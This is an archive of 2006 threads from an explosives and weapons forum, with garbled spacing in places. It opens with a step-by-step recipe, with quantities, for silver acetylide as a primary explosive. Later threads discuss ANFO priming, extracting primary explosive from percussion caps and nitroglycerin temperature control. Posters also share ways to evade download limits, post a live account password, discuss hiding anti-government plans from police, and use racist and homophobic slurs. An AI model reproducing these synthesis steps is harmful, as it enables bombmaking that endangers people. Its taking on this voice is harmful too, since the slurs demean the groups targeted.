If re agent or technica l grade acid is available (70% strength) this will
not need any water m ixed with it to reduce the strength. Simply use 17.5 m l
of this 70% nitric acid . Place a silver dim e or equivalent amount of silver
m etal in the acid. It will dissolve leaving a gree n solutio n.
CAUTION: Avoid the brown gas (nitrogen dioxide) produced when dissolving
the silver m etal in the acid. This gas is a deadly poison and the im m e d i a t e
e x p o s u r e t o t h e g a s a n d i t s s u b s e q u e n t d a m a ge will not show up for hours
or even days! This sh ould be done with good ventilation!
It m ay be necessary to heat the liquid to get the coin or m etal to

completely dissolve. Pour this green solution in to a tall slender glass jar
such as an olive jar. Place this jar with the green solution in it in a hot
water bath and heat. Crystals will form. The heating is continued until
these crystals dissolve again. In anoth e r f l a s k o r e v e n a " C o k e " b o t t l e ,
place ten teaspoons of calcium carbide into this flask with a cork with a
h o s e p a s s i n g t h r o u g h a h o l e i n t h e c o r k . P l a c e t h e o t h e r e n d o f t h e h o s e in
the tall jar with the solution in it. Rem ove the stopper from the flask or
bottle and add one teaspoon of water.
CAUTION: Acetylene gas is highly flam m a b l e a n d a n e x p l o s i o n h a z a r d . K e e p

away from heat and flame as much as possible.
The gas should begin generating. Add one m ore teaspoon and place
the stopper back into the container. The acetylene gas generate d by the
calcium c a r b i d e a n d w a t e r s h o u l d b e g o i n g t h r o u g h t h e h o s e a n d b u b b l i n g
through the solution in the tall glass. Bubble th is gas th rough the
solution for 5-8 m inutes. Brown vapor will be given off b y the liquid as is
absorbs acetylene and white flakes will begin to be form ed in the silver
s o l u t i o n . R e m o v e t h e solution from the heat source and allow it to cool.
Filter the liquid through a filter paper (paper towel, coffee filter) into
a glass container. Green crystals will be caught on the filter paper. These
green crystals would then be washed with 45 ml alcohol. The crystals will
change from green to white in color and the m ethanol wash will turn green.
Place these white crystals on a paper towel and allow to air dry.
CAUTION: Handle this dry explosive with great care. Do not scrape or handle
roughly. Keep away from flame or spark source or heat and store in a cool
dry place.
These salts will perform well and are easy to make. Their stability
is good, which is very im portant. A goo d choice of prima ry explosives.
I was wondering if anyone has ever tried this and if so is it any good as a primary? How m u c h i s n e e d e d t o d e t o n a t e d y n a m ite
and how stable is it accually.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Does anyone have a
Rapidshare account?
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nbk2000 March 6th, 2006, 06:50 PM

I've accum ulated a la rge number of rapidshare links, but the fucking thing only lets me get about one download every hour
a n d a h a l f . : m ad: Proxies aren't working becau s e e v e r y o n e e l s e o n t h e p l a n e t h a s h a d t h e s a m e i d e a . : (
If someone has a rapidshare account that they could let m e borrow, I'll repay the kindness by uploading something interesting
for you.;)
C o n t a c t m e b y P M o r e - m ail.
Thanks.
akinrog March 8th, 2006, 09:33 PM

Sir,
Did you check your PM?
Regards
Edit : Instead of PM, I wrote SM. Sorry for that
nbk2000 March 30th, 2006, 07:55 AM

I f o u n d a n u n p l e a s a n t s u r p r i s e f r o m t h e u s e o f t h e R a p idGet download u tility, available from the rapidshare.de website.
I installed it to, and ran it from, my USB dongle, so as to avoid having to run it on the public com puter I was using. I entered
t h e u s e r n a m e / p a s s u s i n g a k e y b o a r d e m ulator program running on my dongle (to avoid keyloggers), and everything worked
fine.
I have since found out that it seem s s o m e o n e e l s e l a t e r used the account. How d id they get the in fo? (I'm a s s u m in g
u n a u t h o r i z e d u s e r , n o t s o m e technical glitch or cookie error)
After checking a bit m ore throughly, it seem s that the R apidGet program always creates a default directory on the local
m achines C:\ drive, regardless of where it's running from , and stores the username/password in a file called 'settings.ini' IN
THE CLEAR!
No hashing or encryption whatsoever. Nope...none.

I recently discovered, to m y surprise, that TorPark v1.5 running from a USB dongle can be used to omit the lim its of downloads
at RapeShare.
nbk2000 April 13th, 2006, 07:43 PM

I ' v e h a d t h e o p p o s i t e experience, usin g t h e e x a c t s a m e thing, where I got the 'download lim it reached, buy a premium account
or wait ** m inutes'.
Everyone is using the same proxy network (TOR), so everyone is appearing to com e f r o m t h e s a m e (limited) number of IP's.
And since everyone else is having the sam e idea:
" I f I u s e T O R, I'll have a diffe rent IP every time, thus n o lim it!"
every IP is used up quick.
Maybe TOR routes traffic through optimal paths, which might m a k e t h e m run thro ugh a different set of IP's than som e o n e i n
Am erica.

I just downloaded "Nigger W reck" from RapeShare using TorPark. I use TorPark to download files from R a p e s h a r e b e c a u s e I
g e t t h e s a m e m e s s a g e , ' d o w n l o a d l i m i t r e a c h e d , b u y a p r e m ium account or wait ** minutes', when downloading from m y IE
browser. It seem s l i k e s o m e o n e a r e u s i n g m y genuine IP to omit the download lim it.
Of course, I was surprised to find that TorPark actually was able to download files from R a p e s h a r e .
By the way, it m ight be interesting to check out if Torpark routes traffic through optim al paths, with security in mind.
Bugger April 13th, 2006, 08:00 PM

Every IP is used up quick? But there are thousands of proxy servers arou nd, with which to configure a browser or download
program .U p-to-date lists are available on these sites:
http://www.proxyblind .org/
http://www.publicproxyservers.com /
http://www.proxy4free.com
http://www.sam air.ru/proxy/
http://anuvinu.blogspot.com/
Or, you can connect to the internet, on a browser, using an anonymous-surfing site such as:-
http://www.anonym ize.net/ (Nassau, Baham a s , c h a r g e a b o u t $ 1 p e r d a y )
http://www.shadowsurf.com / (Atlanta, Georgia, free anonym ous web-surfing, including of web-based em ail sites, but unreliable)
http://www.shysurfer.com/ (C hicago, Illinois, ditto, supports SSL log-in and PO ST for free, but unreliable)
http://surfshield.net/ (Houston, Texas, or Washington, D.C., ditto, unreliable)
http://proxify.com / (ditto, Dallas, Texas, works well, but PO ST access (e.g. log-ins) and interactive content are available only
to paid Proxify subscribers, $US40 for 6 months)
http://www.guardster.com / (ditto, in Houston, T exas, works well, free anonymous surfing including POST log-ins, but $10/
m onth or $20 per 6 m onths for encrypted SSL access)
http://nonym o u s e . c o m /anonwww.html (ditto, in Frankfurt-Am -Main, Germ any, works well, can do POST log-ins except where
cookies are required as it refu ses cookies (e.g. http://m ail.yaho o . c o m r e q u i r e s c o o k i e s ) )
http://www.the-cloak.com / a n o n y m ous-surfing-home.html (ditto, San Francisco, California, free anonymous surfing, secure
HTTPS access, but do es not allow free POST log-in exce pt for a paym ent)
http://www.anonym izer.com/index.shtml (ditto, San Lea ndro, Ca lifornia, free anonym ous surfing, also provide free censor-free
internet service to China, but does not allow PO ST access to m ail sites like http://mail.yahoo.com except via a 7-day trial of
A n o n y m izer Anonym ous Surfing or payment for it).
http://72.36.167.98/~phproxy/ (Dallas, Texas)
http://www.m egaproxy.com (country cannot be determined; cannot POST or log-in)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > problem s with ANFO Explosives
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Jacques March 8th, 2006, 12:14 PM

Can anyone please help m e?
I m h a v i n g s o m e big p roblem s with ANF O Explosives
-----------------------------------
My fertilizer
6:1:5
N P K
50 % N Nitrogen
12% P Phosphorus
41% K Potassium (Kalium)
-----------------------------------
I crushed it and add +- 7 % Diesel and put it in a container with a hom e m ade cap I used a small bb gun co2 canister and fill it
with BP and I used that for the cap, I hope that right.
All this does is m a k e a big ba n g b u t I d o n t s e e a n y d a m a g e l e f t d o n e .

So the people say it will give you a 500 square feet hole in the ground
I u s e d + - 1 5 0 g r a m fine powder fertilizer
nbk2000 March 9th, 2006, 02:47 AM

Newbies need to post their questions in the Wa ter Cooler section till they learn proper Forum e t i q u e t t e o r r i s k b e i n g b a n n e d .
Though you did properly format your request, and didn't rape the english language with atrocious gramm er, you failed by not
properly searching, as such a search would have revealed your e rror.

Firstly, it app ears that your fertilizer is not Amm onium Nitrate, as it has quite a bit of Potassium in it, when it should have
none.
Secondly, (som e o n e m ight ne ed to correct m e if I'm wrong) a cap of BP probably lacks the power to initiate ANFO.
Thirdly, (once again, I may need correcting) an ANFO charge with only 15 0g of AN probably wouldn't make a 500 foot hole in
the ground.
As said by NBK, if you searche d around, you wo uld probably have your answer. :)
me234 March 9th, 2006, 11:00 AM

W hoa, you tried to detonate a, what appears to be, potassium / am monium phosphate based fertiliser with a black powder
detonator?
Boy are you lucky you found this forum !
Tell you what, as we are here to spread knowledge, I'm going to help you just about all you want.
BUT as we here believe (well, m o s t o f u s d o ) t h a t y o u n e e d t o b e a b l e t o help yourself stand up before we can help you walk,
I'm going to help you out the second you tell m e 1 - what is norm ally used in ANFO explosives (the name "ANFO" is a big
help ) and 2 - if black powder is a primary explosive.
Do that and I'le help tutor you all you need.
You are know my new pet project, and I'll continue to help you a s long as you are willing to help yourself, a nd put in the effort.
In case you actually cared, the reason I'm willing to help you is that you m ade a well form atted post, wrote quite nicely, and
m entioned "+ -7 %" diesel, which im plies to m e that you at least put enough thought into this attempt of yours to, either
beforehand, or afterwards, run som e calculations on your charge . That extra effort (the calculations) gives m e then im pression
that you m ight just be willing to put in that extra effort that the people who go far here tend to put into their work.
Stick around here, ke ep posting well written stu ff, and you've got a future.
P.S. If I sound like I'm belittling you, I apologise, I just got ano ther rep. point the other day and m y ego is still on a high.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Prim ary explosives from
prim ers
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View Full Version : Primary explosives from primers
explosive_boy March 8th, 2006, 02:28 PM

T o d a y I s k i p p e d s c h o ol and was looking throug h s o m e g u n s u p p l i e s I h a v e l a y i n g a r o u n d a n d f o u n d s o m e big percussion
caps. I was thinking that the explosive s m ixture inside could be gently hervested and then com pacted to form a stable yet
easliy detonated prim ary explosive. I read a site that said percu ssion caps contain a mixture of potassium perchlorate and
l e a d azide. I was thin k i n g s o m etim e s o o n I m ight get into on th e theses caps carfully and see if I can get the m iture out.
W ould this be powerful enough to be a good prim ary explosive. This m ay be a little expensive since not alot can be found in
one cap. :confused:
nbk2000 March 9th, 2006, 03:02 AM

S o m e o n e f o r g e t t o u s e p a r a g r a p h b r e a k s i n s t e a d o f o n e m o n o b lock of text? :o
Or p erhaps capitalization of the first letter of every new sentence? (Doesn't apply to you. :))
That the letter I, when used to refer to oneself, is always CAPITALIZED? (Nor this one. :D)
I h a t e p l a y i n g g r a m m er nazi as it detracts from m ore productive things I could be doing, but deleting everyone who c o m e s
here from a n I M s e s s i o n a n d d o e s n ' t r e m e m ber to 'switch gears', would cull us kinda thin.
Newbies need to learn QUICKLY that this is NOT an IM session, but a bulletin boa rd, where posts will rem ain readable for years
a f t e r t h e m e m ber has turned himself into a pick m ist after following the similiarly m a n g l e d I M - s t y l e p o s t i n g s o f s o m e o t h e r
d e c e a s e d m e m b e r o n s o m e o ther board.
This is not one of tho s e b o a r d s .
Improve your gram mer by using paragraph bre a k s , O K ? : )
This applies to ALL newbies, a s existing m e m b e r s h a v e a l r e a d y c o n f o r m ed to this standard, and expect it of everyone else
here as well.
Occasional spelling errors or o m i s s i o n s a r e h u m an, so that's OK. But we m ust not disregard basic literacy skills when dealing
with our subject m atter.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W hat would you ch a n g e ?
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Ok. I'm sort of seeing a bit of uncertainty. It doesn't look like people have thoug ht about this alot, and that is a norm al thing.
W e want to just right into the revolution bit, changing everything for the better and what not. The bolsheviks wanted to do th at
too, and see where it got them.
I h a v e t h o u g ht about what I want from this life, and tha ts what life is essentially about, you. What you want. If looking at the
sky m a d e y o u conten t, if thats all you wanted to do with your life, then that would b e e a s y . L i v e o f f g o v e r n m e n t b e n e f i t s a n d
look at the sky all day. A little bullshitting, and that would be easy.
W hat I'm trying to ge t at is I think we each need to think about what we want, and how far we are willing to go to achieve that.
Everything th at I want can be achieved as the world currently is now. Som e of it m ay be difficult, but its possible. How you ask?
Anything can be done with enough money. Thats how I see it.
I loath m oney, but I have com e to the acceptance that it is necessary for things in this world. And m a y b e I ' m d i s g u s t i n g , b u t I
would do alm ost anything for it. Not sim ply to possess it, but because it enables m e to do the things I want. W hich m a k e s m e
l i k e t h e r e s t o f p e o p l e , I g u e s s . B u t I f e e l , w h a t m a k e s m e d i f f e rent from them is the length that I'm willing to go for it. I
would do alm ost anything for m o n e y . W hen I say alm ost, I wouldn't physically impede m y own ability to live. Hence, no cutting
off of limbs or whatever, but apart from that, if you paid m e enough, I would do anything for you. I'm tired of scrimping and
saving for every little thing, only to get fucked over by assholes out there.
T o m e , m oney isnt the object of desire, its the tool to g et what I want. I won't tell you what I want that m o n e y c a n g i v e m e ,
that would be too easy.
But I suggest each of you think about what you want from life, a nd then work out what you need to achieve that, then work out
how far you are willing to go to get those things.
billybobjoe March 9th, 2006, 09:58 PM

:mad: What would I want from life... I think that the thing I would m ost want from life would to be the ablility to pursue the
interests I have; chem estry, spud-guns, huntin g and fishing, m y job and just general tinkering, with out be ing percieved as a
threat, or as a second class citizen.
As it stands right now I get looked at like a me th cook or a terrorist when I even m ention chem e s t r y , s p u d g u n s a n d I ' m
automaticaly some crazy guy with a wa ter tube pipe-bomb. Hunting and fishing...well let's say you get an odd look when you
drop the guts out of a 300 lb m uley in your front yard (I have no back yard). Most guys are cool with it when they see you ju st
tinkering in your front year, be it a car, a weed whacker or a bicycle. My job as a welder is the best thing that ever happened to
m e , b u t a s t i m e g o e s o n i t g e t s m o r e a n d m ore like a job.
I guess it would be satisfying it i could tinker and create stuff with out being restrained financialy, socialy, o r by the goverme nt
:mad:.
P . S : I h o p e i h a v e n ' t r a p e d t h e e n g l i s h l a n g u a g e t o o b a d , I k n o w t h i s i s m y third and final post if I did.
The_Duke March 13th, 2006, 09:49 PM

I think you will benefit from reading the book Think an d Grow R ich by Napoleon Hill.
If nothing else, you at least owe it to yourself to read chapter 10, Power of the Master Mind.
Y o u c a n d o w n l o a d t h e b o o k h e r e ( h t t p : / / r a p i d s h a r e . d e / f i l e s / 1 4 7 95823/Napoleon_Hill_-_Think_And_Grow_Rich.pdf.html).
Kamisama March 17th, 2006, 02:56 AM

I would change a dollar into four quarters.
*first thing to com e t o m i n d . *
second things was
"I would like some ch erry pie.."
of course.. i would have to change m y situation of no fo od into having food.
Jacks Complete March 19th, 2006, 08:16 AM

W hen I was younger, I decided that starting a country would be the way to go. Sadly, not having m a d e 1 0 0 m illion from a
dot-com , I really can't afford to.
I got a site, a plan, a ll sorts, and there is lots m ore on the internet. It was designed roughly along the lines of Neil
S t e p h e n s o n ' s " L o g J a m " from "The Diam ond Ag e" (or was it Iain M. Banks in "Aga inst a Dark Background"?)- a collection of
boats of various sizes, each a tiny part of a sovereign (federalised) state with a single sim ple constitution. The full extent of
the state's power wou ld be lim ited to m aking an offending boat/microstate/whatever leave if they refused to recognise the
limited federal laws, or physical relocation around the colony if they were doing something anti-social for the area they were in,
and, otherwise, it was using the simple international law that says that th e captain of the ship is the suprem e power onboard.
Only in a few tightly defined and very limited circumstances would the "fe d" interfere, and that would be things like usurping
the fed's power (obviously!), kiddie porn, m urder and, probably, having unregiste red WMDs. Even here, it would be only if th e
*sta te* was trying to do it (i.e . if the captain/le ader was allowing things clearly illegal) that anything would happen, otherwise it
would be left to the state to resolve. (Yes, this is very simple, and leads to ownership rights, loyalty questions and m uch else -
what if you torture a captain till he han ds over the ship? etc.- but this isn't the place to discuss it in detail!)
You want to design and build a 3" cannon with AP round s? If that's fine with the captain of your ship, that's fine with the state.
You want to build a nuke, then that's a bit different, and federal oversight would be required for obvious reasons! But, as long
a s y o u a r e s a n e a n d c o m petent, you can m ove to just under three miles offshore and carry on. W ant to fish with dynam ite?
Tricky, since the sea would be the shared resource we all relied on. W a n t t o e x p a n d y o u r e m pire by force? Sorry, but no. Piracy
is against the law.
Anyway, you get the idea. Do what you want, unless it will starve or destroy or upset your neighbou rs, as long as your team is
happy.
So, in other words, I would have chang ed everything!
nocturnal shadow March 22nd, 2006, 07:14 AM

Reading about creating your own country made m e r e m e m b e r s o m e o n e t e l l i n g m e , a b o u t s o m e b l o k e w h o h a d d o n e so in
W estern Aus tralia s o m ewhere . Don t know if it was bullsh i t o r n o t b u t a p p a r e n t l y h e h a d m ade his own currency and
everything. Anyway I tried to find it with google and found this which is sought of related
http://www.superdrewby.com /colum n/queernation.shtm l (don't know how to post links properly)
A quick sum m ary: a bunch of faggots decided to create their own nation because gay m arriage is illegal in Australia. They
claim e d s o m e uninha b i t e d i s l a n d s i n t h e C o r a l S e a I s l a nds and declared it world s f irst gay nation. Sounds pre tty stupid, but
they are trying to use international law to m ake Australia declare them a sovereign nation. Under International law of which
Australia is a s i g n a t o r y i t s t a t e s a n o p p r e s s e d p e o p l e w h o l i v e i n a o v e rseas territory of a foreig n colonial governm ent shall
have the right to s elf determ ination
Personally I don't think they will be successful and don't really care but if they were successful what would stop us from
creating a state for oppressed independently m i n d e d p e o p l e ? A l s o , a l t h o u g h t h e y h a v e n ' t b e e n d e clared a state and
p r o b a b l y n e v e r w i l l b e , n o t h i n g h a s b e e n d o n e a b o u t t h e m either. So wh a t s s topping u s f r o m j u s t d o i n g t h e s a m e thing a n d
setting up ca m p s o m e w h e r e u ninhabited, and creating ones own laws and system of government and so forth?
rick6 March 23rd, 2006, 01:05 AM

T h a t s a n i l l u s i o n I h a v e h a d f o r d e c a d e s - - G e o - p o l i t i c a l a n n e x a t i o n . L e t m e know when you gain so vereignty so I can pack m y
shit. I used to want to rule m y own little country for m uch the sam e r e a s o n s . T h e s e d a y I w o u l d b e quite co ntent to just to live
in a wonderful country like the one you describe. Maybe then I can legally own a can of R ed Devil Lye. :o
__________________________________________________ _______________
P e a c e - - T h r o u g h s u p e rior firepower

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > kno3
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explosive_boy March 10th, 2006, 07:09 PM

I was reading on the site and saw that kno3 can be used along with H2SO4 to m ake NG. I was won dering if Kno3 is a
reasonable substitute so nitric acid in nitrating things such as starch,cork,hexim ine,etc.
I a l s o h a v e a q u e s t i o n c o n c e r n i n g m aking NG. Afew posts on here said not to use a therm ometer as this could create an
e x p l o s i o n . H o w c a n I m e a s u r e t h e t e m perature of m y s o l u t i o n . M a y b e u s e o n e o f t h o s e I R t h e r m o meters or not use one at all
a n d s i m ple add glycerine slowly very slowly letting things cool off then starting up agin?
nbk2000 March 11th, 2006, 02:49 AM

SEARCH, SEARCH, SEARCH! :)
The answers to all your questions are here to b e found. You just have to look for them .
You saw about not using a therm o m eter since it might cause an explosion, but did you understand why? If you didn't, you
need to keep reading until you do. Then you'll know that you can use a therm ometer, as long as it's used carefully or the kind
that won't cause such a risk. ;)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Posting Question
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Meawoppl March 11th, 2006, 09:30 PM

Hey all. I just wanted to ask a certainley n00b question. I have posted som e stuff, but none of it shows up. If you search my
username 'Meawoppl' it links all the things I posted in, but no actual post is visable. . . why?
nbk2000 March 11th, 2006, 10:38 PM

Because you're a nO Ob, you're posts have to b e reviewed by a staffer, prior to being approved. If it's lame, it's deleted. If it's
OK, it'll be approved.
But this is not an instantaneous process. It happens when a staffer gets around to doing it, so it m ay be a few hours or a few
days. Be patient, or you'll get deleted for flooding.
O b s e r v e w h a t h a p p e n e d t o J a c q u e s , w h o p o s t e d t h e s a m e topic in the HE section as the one that was already being replied to
in the W ater Cooler, after I had m oved it there.
Perhaps he was impatient?
W e'll never know since he's no longer here. :p

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A W arning
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zeocrash March 15th, 2006, 12:54 AM

S o m e o f y o u m a y b e f a m iliar with a forum called O vergrow.
For those of you who are not overgrow was the internet's largest cannabis forum, with a total mem bership of over 1 million
m embers.
A b o u t 2 m o n ths ago O vergrow vanishe d without a trace.
last week high tim es reported that the owner had been arrested for the sale of ca n n a b i s s e e d s a n d t h a t t h e p o l i c e h a d s i e z e d
all a ssets of his com pany, including overgrow.com .
Now those of you who know about cannabis will know that the canadians have hardly ever had a problem with people selling
cannabis seeds before.
Now it m ay just be the canadians changing it's policy on drugs, but many people, myself included think that the cannabis
seeds charge was just a ploy to take overgrow offline.
My warnings are simp le
if yo u were a m ember of overgrow, do not try and log in , do not go back there.
Mega and NBK, be careful guys.
references
-----------
http://www.hightimes.com /ht/news/con tent.php?bid=474&aid=5
http://icmag.com/ic/showthread.php?t=20499
festergrump March 15th, 2006, 02:30 AM

First they take your fun, THEN your freedom ... You might get deep in tho ught while sm o k i n g s o m e k i n d b u d . T H O UGHT is 'not
cool' for you to have. You cannot be trusted with it.
S u r g e o n G e n eral's W a r n i n g : S m o k i n g m arijauna m ay cause free dom in norm a l p e o p l e .
TreverSlyFox March 17th, 2006, 07:24 PM

IF, Overgrow is owned by the sam e guy thank the DEA. There was a report a few days ago on TV about som e guy in Vancover
B C t h a t i s s u p o s e t o b e t h e b i g g e s t s u p p l i e r o f s e e d s . H a s m a d e s o m ething like $50 Million in the past 10 years selling seeds
in his store in VBC an d on-line. The DEA is after him BIG TIME and trying to get C anada to give him up to the U.S.

TreverSlyFox, I think you're refering to Mark Em ery (sp?) - calls himself the "Prince of Pot". But I d on't think he's the one
connected to Overgrow, if that is indeed what you were saying (n ot sure if you me ant that or not).

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Plans
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me234 March 16th, 2006, 01:21 AM

Unfortunately, the "Plans" thread has been locked by the m ods. Yes we believe in talking about anything we want, but yes it
was a bit OT, and yes the m ods do have a responsibility to this Forum and its m e m b e r s t o u p h o l d t h e s t a n d a r d s a n d k e e p t h i s
place dedicated to its true purpose, an d its focus, of E&W .
So, alas, the "Plans" thread is no longer. I would firstly like to apologise to Mega for abusing the "Tools, Techniques, and
P l a n s" section, which was intended for technical information, and opening a thread not rea lly relate d to the subject in there. I
also want to thank the mods for letting it stay open for long eno u g h t o g e n e r a t e e n o u g h i n t e r e s t a m o u n g m e m b e r s t h a t t h e y
m ight want to continu e this im portant discussion elsewhere.
Secondly, I would like to ask Forum ites if they know of a few places they might suggest we can go to to carry on this
discussion. It is unfortunate that the thread was locked when it was because on Monday I was going to swin g the discussion
away from how-to-get-out-the-house-when-the-pork-kick-in-the-door, and nudge it towards what-to-do-once-you're-outside-
the-house-and-away-from-the-pork.
So if anyone knows a good place, preferably kinda small and a bit unknown, then let us know so we can join up and continue
this most neccessary of discussions.
Once again, sorry for abusing your board Mega.

And people, let's not let this one die off completely.

I a g r e e , t h a n k s t o M e g a a n d t h e m ods for letting it go on as long as it did. I understand their responsibility to keep the forum
running, and how this m a y h a v e b r o u g h t h e a t u p o n t h e m .
I have absolutely no idea of anywhere where we could talk about it. Through Ninjutsu, Ive learnt th a t s o m e t i m es, th e b e s t
place to hide is in pla in sight. Maybe we could pose as a book group on yahoo writing about post big brother world, or
s o m ething like that. Not too sure.

P e r h a p s m ake a tiny forum on one of those free hosts, that is closed to the public (invite only), but then again, it would
probably be against the T&C of the host, and they may shut it down, or report it.
How about one of tho se java based chat room s, with a password required (that is given to the interested forum m e m b e r s ) ?
Alex ires has a point with the "in plain sight" thing, howe ver, as NBK said in the closed thread, spea king about such 'plans'
where anyone (i.e. pork) can read it, can be self-defeating.

I actually sta rted the whole thing off, so I'm to blam e, really, no t u234...
I'm sure we can all see that it becomes a dangerous topic when com bined with the info on this site and the sad way of the
world right now, so it had to go.
I f s o m e o n e s t a r t e d a s m a l l f o rum , it m ight run for a while, but unless it was on a random s m a l l s e rver far away, the m inute it
was linked to from here, the host would probab ly be told to kill it off, or it would be blocke d. Of course, if som e o n e c o u l d f i n d a
way to encrypt it at th e other end, so the host techies couldn't read it, bu t it was transpare nt to us, that would be interesting.
S o m e live backup tricks to send info to other places (distributed network server) would be best, though.
BlackFalcoN March 19th, 2006, 07:56 PM

As you know, there recently have been a couple of postings regarding an ti-government organization, underground resistance
or just plainly inciting revolt against 'THE' government.
W h i l e t h e s e p o s t s h a v e b e e n l o c k e d b y m o d e r a t o r s ( a s i t s h o u l d b e - - b e c a u s e t h i s f o r u m is m ainly about the science and

engineering of explosives, not overthrowing governments ), there definitely should be a place on the internet where such a
discussion can be held.
As these topics are attracting even more attention from various (U.S.?) g overnm ent agencies, I un d e r s t a n d R S . o r g s h o u l d n o t
b e t h e p l a c e t o d i s c u s s t h e m a s i t i s u n d e r e n o u g h f e d e r a l a t t e n tion already. Such topics would essentially threaten the future
existence of RS.org
However, being a sup porter of free-speech m y s e l f , I b e l i e v e t h a t k n o w l e d g e a n d i d e a s s h o u l d b e s h a r e d a n d d i s c u s s e d o p e n l y ,

not being restricted by numerous "patriotic" laws and their enforcement.
That's why I'm thinking about creating a separate forum , a place to discuss the m ore political and ideological biased ideas
m embers m ay have.
This forum will NO T deal with the theoretical science, chem istry a nd engineering of E&W in general, as there is already a prim e
source for that on RS.org
It will deal with the various tactics, organizational structures and ideological issues one m ight com e up with to resist being run
under by an (imaginary) governm ent.
W hile subjects will be different from R S . o r g , q u a l i t y a n d m o d e r a t i o n s h o u l d b e n o t .

This forum should try to m atch up to the same quality that RS.org has been offering for years. ( W e d o n ' t n e e d a n o t h e r
TOTSE, Bom bshell, or any anarchistic BS for that m atter )
It should not be affiliated with RS, in a ny legal, financial, or tech nical way, so neither forum can have a dire ct impact on the
survival of th e other.
T h e r e s h o u l d b e n o d irect ties between them, as they would be two different com m unities altogether.
I'm currently setting up a test project to provide such a place.

W hile I'm en ough technically skilled to create this forum , it would be very helpful to have a couple of supporters who can think
a b o u t t h e b a sic layou t (subforums, design, the rules & faq ...), as well as a few m oderators to m aintain 'law-and-order' on a
daily basis.
The webserver itself was used by m e to test and develop various other projects, until a couple m onths ago. Since I'm not using
it anymore and is about to expire in a couple o f months anyway, I'm willing to offer it as a tem porary test environm ent for the
new forum described above.
Daily forum-db-backups to an off-server location will ensure that nobody really could shut down the com munity, since a back u p
could always be used to restore the forum in another location.
The forum software has already been installed and configured and is ready to be used.
I would like to ask the mods first if it would be OK to just post the link to that place in here, since I don't want to step on
a n y b o d y ' s t o e s o r s e e m like some guy who just wants to advertise this O THER place he created.
(Any ideas, suggestions or support are also welcom e via PM or (encrypted) email.)
My PGP Key (http://www.angelfire.com /droid/do minionofcrap/pgp.htm ) Key fingerprint: 2ED4 86A5 A62F B84A CCFE 61BF E34E
BA78 A213 F80D
nbk2000 April 15th, 2006, 03:10 AM

Don't care if you advertise another board here, as long as it's not an english-language E&W board, or pro-law enforcment.

Haha, let's not have a repeat of the crucible incident. Always though, other boards will pop up trying to fill a void thought
vacant. And yet, like the formulated im possibility of a yellow sun turning into a black hole, som e h o w n e v e r g a i n e n o u g h m a s s
to evolve into a singularity.
Good luck.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Books available
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me234 March 17th, 2006, 01:29 AM

Hey Chris, my PM seems to be out of order for the day, so I'll just post this up here for you to read.
Only for you of course, because if any British people were to read this, they might be doing something bad, so if any British people read this, DO NOT continue.;)
I'm loading some books onto a few e-mail accounts so that people around the world (by this I mean you, Chris, of course, cause you're not British, and NO-ONE ELSE ;)) can
access the information. Plenty of countries have banned certain websites, but I don't think too many have banned e-mail, thus, Chris (and only Chris...), if you can't get to this
information via normal sites, you can still get it off an e-mail account, slow I know, but better than nothing.
Besides, it's been a while since I've seen good books offered around, so I figured it was time for noobies here to know where this information is (but they can't read it! Only
Chris ;) )
So far it's just a few books, nothing great, saved as draft e-mails. Unfortunately wahoo won't let you attach files larger than 10MB, so I can't put up the rest of the Urbanski's,
or any Federoff's. But, if you, or some other helpful member, were to name a place (must be an e-mail) were one can attach files up to ~70MB, then I can stick in the
Federoff and Urbanski volumes 1 at a time.
So far I've just got Meyer's "Explosives" 5th edition, and a couple military FM's from FortLiberty etc. But I'm gonna put more up later.
So Chris, here's the e-mail address and password so YOU can get in, remember, no-one else now!:
johndoe123johndoesmith @ y a h o o . com
password - commacomma
Remember people, I am aware of no-one but Chris (assuming it is legal for him to have this information) who is going to access this stuff.
But, if someone could please help me find a place where I can attach large files, I'll be very grateful. As it stands at the moment I'm gonna sign up for a whole mess of e-mails
later today in an effort to find one that has what I need.
Have fun Chris, and if you get the urge to attach any interesting files that I may enjoy, please feel free to share them with me via this e-mail.
P.S. It is still legal for me to "know" these things where I live - but for how long, I don't know...
me234 June 23rd, 2006, 09:29 AM

OK, what low - life - shit - wiping - ass - brained - dick-less - prick - motherfucker decided he wanted to fuck around with someone else's shit?
Huh?
And for those of you just tuning in you are in the middle of me234 being pissed off because some toe-jammed motherfucker went and took those books that I had taken a
long time to save onto an e-mail so that anyone around the world (excuse me I mean only those people "allowed to" as mentioned in the above post) could download and
read some free information without restriction and they FUCKING DELETED THE BUNCH!
What fucker thinks he (or she, I'm not a sexist after all, I'm an equal opportunity hater) can just mosey on into that Yahoo account and just delete those books?
Fuck, some people just do not respect people's right to read whatever the fuck they want.
I discovered this a while back when I went to go put some more books/ FM's up and wham, not more books, all gone.
Own the fuck up you fucking runt. Chickenshit little weasel. Fuck you, I'm gonna go home and read a book about blowing shit up, and fuck you if you don't like it.
I don't get it. Where do they come off screwing around with other people's shit?
We here may dream up some naughty shit on occasion, but we don't mess with anyone else's life. We respect other people's stuff, well, everyone else but NBK respects other
people life, limb and property :p . We don't blow up any one else's post boxes, we blow up our own (well, OK, we don't actually blow up our post boxes, but you get the idea,
we don't harm anyone else, they must leave us alone).
It shocks me that someone would be so petty as to take away someone's chance to read intelligent, informative works of non-fictional literature.
FUCKERS.
EAT SHIT AND GO HOME. YOU. ARE. NOT. WELCOME.
nbk2000 June 23rd, 2006, 11:16 AM

You get things like that occassionally, where someone downloads a file, then rats it out/deletes it, so others can't have it.
I don't know what exactly these people are thinking, but they might be thinking along the lines of "I'll be the only one who has it, and I will be L33t!".
:rolleyes:
Or maybe "I can't let things like this exist on the internet! My little johnny might hurt himself reading this garbage!". Yes soccer mommy, johnny might hurt himself or, even
worse, learn something! :eek:
Me, when uploading things, you need to do so in a manner where any random person can't delete it. RTPB "Plan for Failure". ;)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > I gave a review to the planetary
camera thing
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Kamisama March 17th, 2006, 02:19 AM

